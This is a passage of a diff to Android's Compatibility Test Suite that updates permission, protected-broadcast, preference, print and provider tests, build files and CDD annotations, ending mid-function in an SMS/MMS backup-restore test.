package android.permission2.cts;
import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.CddTest;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
@@ -51,6 +52,7 @@
private static final String PLATFORM_PACKAGE_NAME = "android";
+ @CddTest(requirement="9.1/C-0-2")
public void testPrivappPermissionsEnforcement() throws Exception {
Set<String> platformPrivPermissions = new HashSet<>();
PackageManager pm = getContext().getPackageManager();
@@ -95,10 +97,13 @@
Set<String> notGranted = new TreeSet<>(requestedPrivPermissions);
notGranted.removeAll(grantedPrivPermissions);
Set<String> whitelist = getPrivAppPermissions(pkg.packageName);
- Log.i(TAG, "Application " + pkg.packageName + ". Requested permissions: "
- + requestedPrivPermissions + ". Granted permissions: "
- + grantedPrivPermissions + ". Not granted: " + notGranted + " Whitelisted: "
- + whitelist);
+ Set<String> denylist = getPrivAppDenyPermissions(pkg.packageName);
+ Log.i(TAG, "Application " + pkg.packageName + "."
+ + " Requested permissions: " + requestedPrivPermissions + "."
+ + " Granted permissions: " + grantedPrivPermissions + "."
+ + " Not granted: " + notGranted + "."
+ + " Whitelisted: " + whitelist + "."
+ + " Denylisted: " + denylist);
if ((pkg.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0) {
Log.w(TAG, "Skipping whitelist checks for " + pkg.packageName
+ " - application was updated");
@@ -107,14 +112,16 @@
Set<String> grantedNotInWhitelist = new TreeSet<>(grantedPrivPermissions);
grantedNotInWhitelist.removeAll(whitelist);
+ Set<String> notGrantedNotInDenylist = new TreeSet<>(notGranted);
+ notGrantedNotInDenylist.removeAll(denylist);
assertTrue("Not whitelisted permissions are granted for package "
+ pkg.packageName + ": " + grantedNotInWhitelist,
grantedNotInWhitelist.isEmpty());
assertTrue("Requested permissions not granted for package "
- + pkg.packageName + ": " + notGranted,
- notGranted.isEmpty());
+ + pkg.packageName + ": " + notGrantedNotInDenylist,
+ notGrantedNotInDenylist.isEmpty());
}
}
}
@@ -130,4 +137,15 @@
return Collections.emptySet();
}
+ private Set<String> getPrivAppDenyPermissions(String packageName) throws IOException {
+ String output = SystemUtil.runShellCommand(
+ InstrumentationRegistry.getInstrumentation(),
+ "cmd package get-privapp-deny-permissions " + packageName).trim();
+ if (output.startsWith("{") && output.endsWith("}")) {
+ String[] split = output.substring(1, output.length() - 1).split("\\s*,\\s*");
+ return new LinkedHashSet<>(Arrays.asList(split));
+ }
+ return Collections.emptySet();
+ }
+
}
diff --git a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
index 534481e..2f155d8 100644
--- a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
@@ -17,6 +17,7 @@
package android.permission2.cts;
import android.content.Intent;
+import android.content.pm.PackageManager;
import android.test.AndroidTestCase;
/**
@@ -47,21 +48,7 @@
Intent.ACTION_SHUTDOWN,
Intent.ACTION_DEVICE_STORAGE_LOW,
Intent.ACTION_DEVICE_STORAGE_OK,
- Intent.ACTION_NEW_OUTGOING_CALL,
Intent.ACTION_REBOOT,
- "android.intent.action.SERVICE_STATE",
- "android.intent.action.RADIO_TECHNOLOGY",
- "android.intent.action.EMERGENCY_CALLBACK_MODE_CHANGED",
- "android.intent.action.SIG_STR",
- "android.intent.action.ANY_DATA_STATE",
- "android.intent.action.DATA_CONNECTION_FAILED",
- "android.intent.action.SIM_STATE_CHANGED",
- "android.intent.action.NETWORK_SET_TIME",
- "android.intent.action.NETWORK_SET_TIMEZONE",
- "com.android.internal.intent.action.ACTION_SHOW_NOTICE_ECM_BLOCK_OTHERS",
- "android.intent.action.ACTION_MDN_STATE_CHANGED",
- "android.provider.Telephony.SPN_STRINGS_UPDATED",
- "android.intent.action.ANY_DATA_STATE",
"com.android.server.WifiManager.action.START_SCAN",
"com.android.server.WifiManager.action.DELAYED_DRIVER_STOP",
"android.net.wifi.WIFI_STATE_CHANGED",
@@ -81,7 +68,24 @@
"android.net.wifi.p2p.PERSISTENT_GROUPS_CHANGED",
"android.net.conn.TETHER_STATE_CHANGED",
"android.net.conn.INET_CONDITION_ACTION",
- "android.net.conn.CAPTIVE_PORTAL_TEST_COMPLETED"
+ "android.net.conn.CAPTIVE_PORTAL_TEST_COMPLETED",
+ "com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER"
+ };
+
+ private static final String BROADCASTS_TELEPHONY[] = new String[] {
+ Intent.ACTION_NEW_OUTGOING_CALL,
+ "android.intent.action.SERVICE_STATE",
+ "android.intent.action.SIG_STR",
+ "android.intent.action.RADIO_TECHNOLOGY",
+ "android.intent.action.ANY_DATA_STATE",
+ "android.intent.action.ACTION_MDN_STATE_CHANGED",
+ "android.provider.Telephony.SPN_STRINGS_UPDATED",
+ "android.intent.action.EMERGENCY_CALLBACK_MODE_CHANGED",
+ "android.intent.action.SIM_STATE_CHANGED",
+ "android.intent.action.DATA_CONNECTION_FAILED",
+ "android.intent.action.NETWORK_SET_TIME",
+ "android.intent.action.NETWORK_SET_TIMEZONE",
+ "com.android.internal.intent.action.ACTION_SHOW_NOTICE_ECM_BLOCK_OTHERS",
};
/**
@@ -98,4 +102,19 @@
}
}
}
+
+ public void testSendProtectedTelephonyBroadcasts() {
+ if (!getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
+ for (String action : BROADCASTS_TELEPHONY) {
+ try {
+ Intent intent = new Intent(action);
+ getContext().sendBroadcast(intent);
+ fail("expected security exception broadcasting telephony action: " + action);
+ } catch (SecurityException expected) {
+ assertNotNull("security exception's error message.", expected.getMessage());
+ }
+ }
+ }
}
diff --git a/tests/tests/preference/Android.mk b/tests/tests/preference/Android.mk
index fa6f9c9..9223ce8 100644
--- a/tests/tests/preference/Android.mk
+++ b/tests/tests/preference/Android.mk
@@ -21,9 +21,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/preference/AndroidTest.xml b/tests/tests/preference/AndroidTest.xml
index 2d3f098..f26d282 100644
--- a/tests/tests/preference/AndroidTest.xml
+++ b/tests/tests/preference/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Preference test cases">
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsPreferenceTestCases.apk" />
diff --git a/tests/tests/preference2/Android.mk b/tests/tests/preference2/Android.mk
index c6dca9e..7529f43 100644
--- a/tests/tests/preference2/Android.mk
+++ b/tests/tests/preference2/Android.mk
@@ -23,13 +23,14 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := \
ctstestrunner \
compatibility-device-util \
mockito-target-minus-junit4 \
ub-uiautomator \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java
index 731dbfb..253f8f6 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java
@@ -487,14 +487,29 @@
// Go to preferences inner fragment.
mTestUtils.tapOnViewWithText(INNER_FRAGMENT_PREF_BUTTON);
- // We don't need to check that correct panel is displayed that is already covered by
- // smallScreenGoToFragmentInner and largeScreenGoToFragmentInner
+ // Only inner fragment must be shown.
+ if (shouldRunLargeDeviceTest()) {
+ assertHeadersShown();
+ } else {
+ assertHeadersHidden();
+ }
+ assertPanelPrefs1Hidden();
+ assertInnerFragmentShown();
// Take screenshot
Bitmap before = mTestUtils.takeScreenshot();
recreate();
+ // Only inner fragment must be shown.
+ if (shouldRunLargeDeviceTest()) {
+ assertHeadersShown();
+ } else {
+ assertHeadersHidden();
+ }
+ assertPanelPrefs1Hidden();
+ assertInnerFragmentShown();
+
// Compare screenshots
Bitmap after = mTestUtils.takeScreenshot();
assertScreenshotsAreEqual(before, after);
diff --git a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
index a01cdc0..b5c02f1 100644
--- a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
+++ b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
@@ -45,6 +45,7 @@
final UiDevice device;
private final Instrumentation mInstrumentation;
private final UiAutomation mAutomation;
+ private int mStatusBarHeight = -1;
TestUtils() {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -58,8 +59,7 @@
Bitmap bt = mAutomation.takeScreenshot();
// Crop-out the top bar where current time is displayed since any time change would
- // introduce flakiness (we are cutting 5% of the screen height, or the real status bar
- // height if it is larger).
+ // introduce flakiness (we are cutting 5% of the screen height or status_bar_height).
int yToCut = Math.max(bt.getHeight() / 20, getStatusBarHeight());
// Crop the right side for scrollbar which might or might not be visible. But on
// watch, the scroll bar is a curve and occupies 20% of the screen on the right
@@ -71,21 +71,6 @@
return bt;
}
- /**
- * get status bar height according to preset value in resources
- * @return the height of status bar
- */
- private int getStatusBarHeight() {
- int height = 0;
- Context context = mInstrumentation.getTargetContext();
- int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen",
- "android");
- if (resourceId > 0) {
- height = context.getResources().getDimensionPixelSize(resourceId);
- }
- return height;
- }
-
void tapOnViewWithText(String searchText) {
if (searchText == null) {
return;
@@ -210,6 +195,23 @@
return baseWindowName + activity.getClass().getSimpleName();
}
+ private int getStatusBarHeight() {
+ // Cache the result to keep it fast.
+ if (mStatusBarHeight >= 0) {
+ return mStatusBarHeight;
+ }
+
+ int result = 0;
+ int resourceId = mInstrumentation.getTargetContext().getResources()
+ .getIdentifier("status_bar_height", "dimen", "android");
+ if (resourceId > 0) {
+ result = mInstrumentation.getTargetContext().getResources()
+ .getDimensionPixelSize(resourceId);
+ }
+ mStatusBarHeight = result;
+ return result;
+ }
+
private String runShellCommand(String cmd) {
try {
return SystemUtil.runShellCommand(mInstrumentation, cmd);
diff --git a/tests/tests/print/Android.mk b/tests/tests/print/Android.mk
index 405c89e..c9b036a 100644
--- a/tests/tests/print/Android.mk
+++ b/tests/tests/print/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/print/AndroidTest.xml b/tests/tests/print/AndroidTest.xml
index 1573840..1c771d6 100644
--- a/tests/tests/print/AndroidTest.xml
+++ b/tests/tests/print/AndroidTest.xml
@@ -14,11 +14,14 @@
limitations under the License.
-->
<configuration description="Config for CTS Print test cases">
+ <option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="component" value="framework" />
+
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsPrintTestCases.apk" />
</target_preparer>
+
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.print.cts" />
<option name="runtime-hint" value="33m00s" />
diff --git a/tests/tests/print/src/android/print/cts/BasePrintTest.java b/tests/tests/print/src/android/print/cts/BasePrintTest.java
index aeeeb41..e29b17f 100755
--- a/tests/tests/print/src/android/print/cts/BasePrintTest.java
+++ b/tests/tests/print/src/android/print/cts/BasePrintTest.java
@@ -16,6 +16,8 @@
package android.print.cts;
+import static android.content.pm.PackageManager.GET_META_DATA;
+import static android.content.pm.PackageManager.GET_SERVICES;
import static android.print.cts.Utils.getPrintManager;
import static org.junit.Assert.assertFalse;
@@ -35,6 +37,7 @@
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
import android.content.res.Resources;
import android.graphics.pdf.PdfDocument;
import android.os.Bundle;
@@ -47,7 +50,6 @@
import android.print.PrintDocumentAdapter.LayoutResultCallback;
import android.print.PrintDocumentAdapter.WriteResultCallback;
import android.print.PrintDocumentInfo;
-import android.print.PrintManager;
import android.print.PrinterId;
import android.print.cts.services.PrintServiceCallbacks;
import android.print.cts.services.PrinterDiscoverySessionCallbacks;
@@ -56,7 +58,6 @@
import android.print.pdf.PrintedPdfDocument;
import android.printservice.CustomPrinterIconCallback;
import android.printservice.PrintJob;
-import android.printservice.PrintServiceInfo;
import android.provider.Settings;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
@@ -121,6 +122,8 @@
private int mTestId;
private PrintDocumentActivity mActivity;
+ private static String sDisabledPrintServicesBefore;
+
private static final SparseArray<BasePrintTest> sIdToTest = new SparseArray<>();
public final @Rule ShouldStartActivity mShouldStartActivityRule = new ShouldStartActivity();
@@ -198,6 +201,8 @@
clearPrintSpoolerData();
Log.d(LOG_TAG, "disableImes()");
disableImes();
+ Log.d(LOG_TAG, "disablePrintServices()");
+ disablePrintServices(instrumentation.getTargetContext().getPackageName());
// Workaround for dexmaker bug: https://code.google.com/p/dexmaker/issues/detail?id=2
// Dexmaker is used by mockito.
@@ -207,13 +212,52 @@
Log.d(LOG_TAG, "setUpClass() done");
}
+ /**
+ * Disable all print services beside the ones we want to leave enabled.
+ *
+ * @param packageToLeaveEnabled The package of the services to leave enabled.
+ */
+ private static void disablePrintServices(@NonNull String packageToLeaveEnabled)
+ throws IOException {
+ Instrumentation instrumentation = getInstrumentation();
+
+ sDisabledPrintServicesBefore = SystemUtil.runShellCommand(instrumentation,
+ "settings get secure " + Settings.Secure.DISABLED_PRINT_SERVICES);
+
+ Intent printServiceIntent = new Intent(android.printservice.PrintService.SERVICE_INTERFACE);
+ List<ResolveInfo> installedServices = instrumentation.getContext().getPackageManager()
+ .queryIntentServices(printServiceIntent, GET_SERVICES | GET_META_DATA);
+
+ StringBuilder builder = new StringBuilder();
+ for (ResolveInfo service : installedServices) {
+ if (packageToLeaveEnabled.equals(service.serviceInfo.packageName)) {
+ continue;
+ }
+ if (builder.length() > 0) {
+ builder.append(":");
+ }
+ builder.append(new ComponentName(service.serviceInfo.packageName,
+ service.serviceInfo.name).flattenToString());
+ }
+
+ SystemUtil.runShellCommand(instrumentation, "settings put secure "
+ + Settings.Secure.DISABLED_PRINT_SERVICES + " " + builder);
+ }
+
+ /**
+ * Revert {@link #disablePrintServices(String)}
+ */
+ private static void enablePrintServices() throws IOException {
+ SystemUtil.runShellCommand(getInstrumentation(),
+ "settings put secure " + Settings.Secure.DISABLED_PRINT_SERVICES + " "
+ + sDisabledPrintServicesBefore);
+ }
+
@Before
public void setUp() throws Exception {
Log.d(LOG_TAG, "setUp()");
- Instrumentation instrumentation = getInstrumentation();
-
- assumeTrue(instrumentation.getContext().getPackageManager().hasSystemFeature(
+ assumeTrue(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_PRINTING));
// Prevent rotation
@@ -223,25 +267,6 @@
getUiDevice().waitForIdle();
}
- final PrintManager printManager = instrumentation.getContext()
- .getSystemService(PrintManager.class);
- final List<PrintServiceInfo> services = printManager.getPrintServices(
- PrintManager.ALL_SERVICES);
- final String targetPackageName = instrumentation.getTargetContext().getPackageName();
- StringBuilder builder = new StringBuilder();
- for (PrintServiceInfo service : services) {
- final ComponentName serviceComponent = service.getComponentName();
- if (targetPackageName.equals(serviceComponent.getPackageName())) {
- continue;
- }
- if (builder.length() > 0) {
- builder.append(":");
- }
- builder.append(serviceComponent.flattenToString());
- SystemUtil.runShellCommand(instrumentation, "settings put secure "
- + Settings.Secure.DISABLED_PRINT_SERVICES + " " + builder);
- }
-
// Initialize the latches.
Log.d(LOG_TAG, "init counters");
mCancelOperationCounter = new CallCounter();
@@ -285,6 +310,9 @@
Instrumentation instrumentation = getInstrumentation();
+ Log.d(LOG_TAG, "enablePrintServices()");
+ enablePrintServices();
+
Log.d(LOG_TAG, "enableImes()");
enableImes();
@@ -725,10 +753,13 @@
}
static void clearPrintSpoolerData() throws Exception {
- assertTrue("failed to clear print spooler data",
- SystemUtil.runShellCommand(getInstrumentation(), String.format(
- "pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
- .contains(PM_CLEAR_SUCCESS_OUTPUT));
+ if (getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_PRINTING)) {
+ assertTrue("failed to clear print spooler data",
+ SystemUtil.runShellCommand(getInstrumentation(), String.format(
+ "pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
+ .contains(PM_CLEAR_SUCCESS_OUTPUT));
+ }
}
void verifyLayoutCall(InOrder inOrder, PrintDocumentAdapter mock,
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
index fe6fce1..38ba4dd 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
@@ -54,6 +54,7 @@
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.List;
/**
@@ -595,7 +596,7 @@
WriteResultCallback callback = (WriteResultCallback) args[3];
if (writeCorruptedFile[0]) {
- Log.i(LOG_TAG, "write corrupted file " + pages);
+ Log.i(LOG_TAG, "write corrupted file " + Arrays.toString(pages));
FileOutputStream os = new FileOutputStream(fd.getFileDescriptor());
for (int i = 0; i < 10; i++) {
diff --git a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
index 3bef78e..d5edcb6 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
@@ -370,10 +370,21 @@
// Wait until adapter is done
waitForWriteAdapterCallback(1);
- clickPrintButton();
+ for (int i = 0; i < 2; i++) {
+ clickPrintButton();
- // Wait for print job to be queued
- waitForServiceOnPrintJobQueuedCallbackCalled(1);
+ try {
+ // Wait for print job to be queued
+ waitForServiceOnPrintJobQueuedCallbackCalled(1);
+ break;
+ } catch (Throwable e) {
+ if (i == 0) {
+ Log.i(LOG_TAG, "Print job was not queued, retrying", e);
+ } else {
+ throw e;
+ }
+ }
+ }
// Wait for discovery session to be destroyed to isolate tests from each other
waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
diff --git a/tests/tests/proto/Android.mk b/tests/tests/proto/Android.mk
index 23dba67..f4fcea2 100644
--- a/tests/tests/proto/Android.mk
+++ b/tests/tests/proto/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_NAME := CtsProtoTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
#LOCAL_SDK_VERSION := current
LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/provider/Android.mk b/tests/tests/provider/Android.mk
index 2298378..d4b3e99 100644
--- a/tests/tests/provider/Android.mk
+++ b/tests/tests/provider/Android.mk
@@ -26,17 +26,16 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_JAVA_LIBRARIES := android.test.runner telephony-common
+LOCAL_JAVA_LIBRARIES := android.test.mock legacy-android-test telephony-common
LOCAL_STATIC_JAVA_LIBRARIES := \
android-support-v4 \
compatibility-device-util \
ctstestrunner \
ub-uiautomator \
- junit \
- legacy-android-test
+ junit
LOCAL_JNI_SHARED_LIBRARIES := libcts_jni libnativehelper_compat_libc++
diff --git a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
index 4ef28f4..56a9051 100644
--- a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
@@ -27,6 +27,8 @@
import android.provider.BlockedNumberContract;
import android.provider.BlockedNumberContract.BlockedNumbers;
+import com.android.compatibility.common.util.CddTest;
+
import junit.framework.Assert;
import java.util.ArrayList;
@@ -40,6 +42,7 @@
// make cts
// cts-tradefed
// run cts -m CtsProviderTestCases --test android.provider.cts.BlockedNumberContractTest
+@CddTest(requirement="7.4.1.1/C-1-1,C-1-2")
public class BlockedNumberContractTest extends TestCaseThatRunsIfTelephonyIsEnabled {
private ContentResolver mContentResolver;
private Context mContext;
@@ -68,6 +71,7 @@
super.tearDown();
}
+ @CddTest(requirement="7.4.1.1/C-1-2")
public void testProviderInteractionsAsRegularApp_fails() {
try {
mAddedUris.add(mContentResolver.insert(
@@ -114,6 +118,7 @@
assertNull(mContentResolver.getType(BlockedNumberContract.AUTHORITY_URI));
}
+ @CddTest(requirement="7.4.1.1/CC-1-2")
public void testInsertAndBlockCheck_succeeds() throws Exception {
setDefaultSmsApp(true);
@@ -141,6 +146,7 @@
assertFalse(BlockedNumberContract.isBlocked(mContext, "random string"));
}
+ @CddTest(requirement="7.4.1.1/C-1-2")
public void testUnblock_succeeds() throws Exception {
setDefaultSmsApp(true);
@@ -156,6 +162,7 @@
assertFalse(BlockedNumberContract.isBlocked(mContext, "1234@abcd.com"));
}
+ @CddTest(requirement="7.4.1.1/C-1-2")
public void testInsert_failsWithInvalidInputs() throws Exception {
setDefaultSmsApp(true);
@@ -197,6 +204,7 @@
}
}
+ @CddTest(requirement="7.4.1.1/C-1-2")
public void testUpdate_isUnsupported() throws Exception {
setDefaultSmsApp(true);
try {
@@ -213,6 +221,7 @@
assertFalse(BlockedNumberContract.isBlocked(mContext, ""));
}
+ @CddTest(requirement="7.4.1.1/C-1-2")
public void testDelete() throws Exception {
setDefaultSmsApp(true);
@@ -276,6 +285,7 @@
}
}
+ @CddTest(requirement="7.4.1.1/C-1-2")
public void testProviderNotifiesChangesUsingContentObserver() throws Exception {
setDefaultSmsApp(true);
@@ -302,6 +312,7 @@
}
}
+ @CddTest(requirement="7.4.1.1/C-1-2")
public void testAccessingNonExistentMethod_fails() throws Exception {
setDefaultSmsApp(true);
diff --git a/tests/tests/provider/src/android/provider/cts/CalendarTest.java b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
index 8db5e45..fcd873a 100644
--- a/tests/tests/provider/src/android/provider/cts/CalendarTest.java
+++ b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
@@ -2516,8 +2516,8 @@
// instances, and it's stored as minutes since midnight in the device's time zone.
// Things won't be consistent if the event and the device have different ideas about DST.
String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
- String testStart = "1999-04-18T00:00:00";
- String testEnd = "1999-05-16T23:59:59";
+ String testStart = "1999-07-02T00:00:00";
+ String testEnd = "1999-08-04T23:59:59";
String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.END_MINUTE };
Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
index 62a041b..b0f5426 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
@@ -125,10 +125,11 @@
fail("There is no sdcard attached! " + e.getMessage());
}
assertNotNull(stringUrl);
- mRowsAdded.add(Uri.parse(stringUrl));
+ Uri stringUri = Uri.parse(stringUrl);
+ mRowsAdded.add(stringUri);
// get the original image id and path
- Cursor c = mContentResolver.query(Uri.parse(stringUrl),
+ Cursor c = mContentResolver.query(stringUri,
new String[]{ Media._ID, Media.DATA }, null, null, null);
c.moveToFirst();
long imageId = c.getLong(c.getColumnIndex(Media._ID));
@@ -165,8 +166,8 @@
// deleting the image from the database also deletes the image file, and the
// corresponding entry in the thumbnail table, which in turn triggers deletion
// of the thumbnail file on disk
- mContentResolver.delete(Uri.parse(stringUrl), null, null);
- mRowsAdded.remove(stringUrl);
+ mContentResolver.delete(stringUri, null, null);
+ mRowsAdded.remove(stringUri);
assertFalse("image file should no longer exist", new File(imagePath).exists());
diff --git a/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java b/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
index 891a1ba..b11fad2 100644
--- a/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
@@ -51,6 +51,8 @@
private static final String mmsBody = "MMS body CTS";
private static final String[] ID_PROJECTION = new String[] { BaseColumns._ID };
+ private static final String[] ID_TEXT_ONLY_PROJECTION = new String[] { BaseColumns._ID,
+ Telephony.Mms.TEXT_ONLY };
private static final String SMS_SELECTION = Telephony.Sms.ADDRESS + " = ? and "
+ Telephony.Sms.BODY + " = ?";
@@ -128,8 +130,10 @@
}
/**
- * Test adds 1 text-only MMS message, runs backup, deletes the message from the provider,
- * runs restore, checks if the message is in the provider.
+ * Test adds 2 SMS messages, 1 text-only MMS messages and 1 non-text-only, runs backup,
+ * deletes the messages from the provider, runs restore, check if the messages are in the
+ * provider (with non-text-only one).
+ * @throws Exception
*/
public void testSmsBackupRestore() throws Exception {
if (!mHasFeature) {
@@ -137,12 +141,16 @@
return;
}
- ContentValues smsContentValues[] = new ContentValues[] {createSmsValues(smsAddressBody1)};
- Log.i(TAG, "Put 1 SMS into the provider");
+ ContentValues smsContentValues[] = new ContentValues[] {
+ createSmsValues(smsAddressBody1),
+ createSmsValues(smsAddressBody2)};
+ Log.i(TAG, "Put 2 SMS into the provider");
mContentResolver.bulkInsert(Telephony.Sms.CONTENT_URI, smsContentValues);
- Log.i(TAG, "Put 1 text-only MMS into the provider");
+ Log.i(TAG, "Put 1 text MMS into the provider");
addMms(true /*isTextOnly*/, mmsBody, mmsSubject, mmsAddresses);
+ Log.i(TAG, "Put 1 non-text MMS into the provider");
+ addMms(false /*isTextOnly*/, mmsBody, mmsSubject, mmsAddresses);
Log.i(TAG, "Run backup");
ProviderTestUtils.runBackup(TELEPHONY_PROVIDER_PACKAGE, mUiAutomation);
@@ -151,43 +159,48 @@
Log.i(TAG, "Run restore");
ProviderTestUtils.runRestore(TELEPHONY_PROVIDER_PACKAGE, mUiAutomation);
- Log.i(TAG, "Check the providers for the message");
+ Log.i(TAG, "Check the providers for the messages");
assertEquals(1,
mContentResolver.delete(Telephony.Sms.CONTENT_URI, SMS_SELECTION, smsAddressBody1));
+ assertEquals(1,
+ mContentResolver.delete(Telephony.Sms.CONTENT_URI, SMS_SELECTION, smsAddressBody2));
- try (Cursor mmsCursor = mContentResolver.query(Telephony.Mms.CONTENT_URI, ID_PROJECTION,
- MMS_SELECTION, new String[] {mmsSubject}, null)) {
+ try (Cursor mmsCursor = mContentResolver.query(Telephony.Mms.CONTENT_URI,
+ ID_TEXT_ONLY_PROJECTION, MMS_SELECTION, new String[] {mmsSubject}, null)) {
assertNotNull(mmsCursor);
- assertEquals(1, mmsCursor.getCount());
- mmsCursor.moveToFirst();
- final long mmsId = mmsCursor.getLong(0);
- final Uri partUri = Telephony.Mms.CONTENT_URI.buildUpon()
- .appendPath(String.valueOf(mmsId)).appendPath("part").build();
- // Check the body.
- try (Cursor partCursor = mContentResolver.query(partUri, MMS_PART_TEXT_PROJECTION,
+ assertEquals(2, mmsCursor.getCount());
+ for (mmsCursor.moveToFirst(); !mmsCursor.isAfterLast(); mmsCursor.moveToNext()) {
+ final long mmsId = mmsCursor.getLong(0);
+ final long mmsTextOnly = mmsCursor.getLong(1);
+ assertEquals(mmsTextOnly, 1);
+ final Uri partUri = Telephony.Mms.CONTENT_URI.buildUpon()
+ .appendPath(String.valueOf(mmsId)).appendPath("part").build();
+ // Check the body.
+ try (Cursor partCursor = mContentResolver.query(partUri, MMS_PART_TEXT_PROJECTION,
MMS_PART_TEXT_SELECTION, new String[]{ ContentType.TEXT_PLAIN }, null)) {
assertNotNull(partCursor);
assertEquals(1, partCursor.getCount());
assertTrue(partCursor.moveToFirst());
- assertEquals(mmsBody, partCursor.getString(0));
- }
+ assertTrue(partCursor.getString(0).startsWith(mmsBody));
+ }
- // Check if there are 2 parts (smil and body).
- assertEquals(2, mContentResolver.delete(partUri, MMS_PART_SELECTION,
+ // Check if there are 2 parts (smil and body).
+ assertEquals(2, mContentResolver.delete(partUri, MMS_PART_SELECTION,
new String[]{String.valueOf(mmsId)}));
- // Check addresses.
- final Uri addrUri = getMmsAddrUri(mmsId);
- try (Cursor addrCursor = mContentResolver.query(addrUri, MMS_ADDR_PROJECTION,
+ // Check addresses.
+ final Uri addrUri = getMmsAddrUri(mmsId);
